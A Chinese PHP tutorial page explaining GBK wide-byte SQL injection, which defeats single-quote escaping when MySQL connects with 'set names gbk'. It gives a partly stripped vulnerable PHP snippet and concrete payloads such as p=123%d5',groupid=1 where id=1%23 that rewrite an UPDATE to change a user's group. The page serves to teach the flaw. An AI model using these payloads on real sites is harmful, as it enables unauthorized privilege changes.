来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 是一样的。view plaincopy to clipboardprint??php// by redice 2010.10.21// 连接mysql数据库$conn=0;$conn = mysql_connect(localhost......
原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 是一样的。
<?php // by redice 2010.10.21
// 连接mysql数据库
// 选择数据库
// 设置mysql数据库输出数据的字符集
// 修改密码过程 $newpass=$_REQUEST[p];
if(!mysql_query($sql,$conn)) ?>
(1)在gpc=off的情况下。 提交p=123',groupid='1 SQL语句变为: update user set pass='123',groupid='1' where name='redice' (2)在gpc=on的情况下。 利用GBK双字节编码,可以绕过单引号转义。 分析如下: 提交p=123%d5',groupid=1 where id=1%23 经浏览器url编码后为: p=123%d5%27,groupid=1%20where%20id=1%23 再经PHP url解码后为: p=1230xd50x27,groupid=10x20where0x20id=10x23 再经PHP转义后为(在0x27前插入0x5c): p=1230xd50x5c0x27,groupid=10x20where0x20id=10x23 由于服务端采用gbk编码连接数据库(set names 'gbk'),因此上述字节序列被MySQL作为GBK字符理解后即为: p=123誠',groupid=1 where id=1# PS:0xd50x5c 对应了汉字誠,从而吃掉了单引号,绕过转义 最终SQL语句变为: update user set pass='123誠',groupid=1 where id=1#' where name='redice'
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com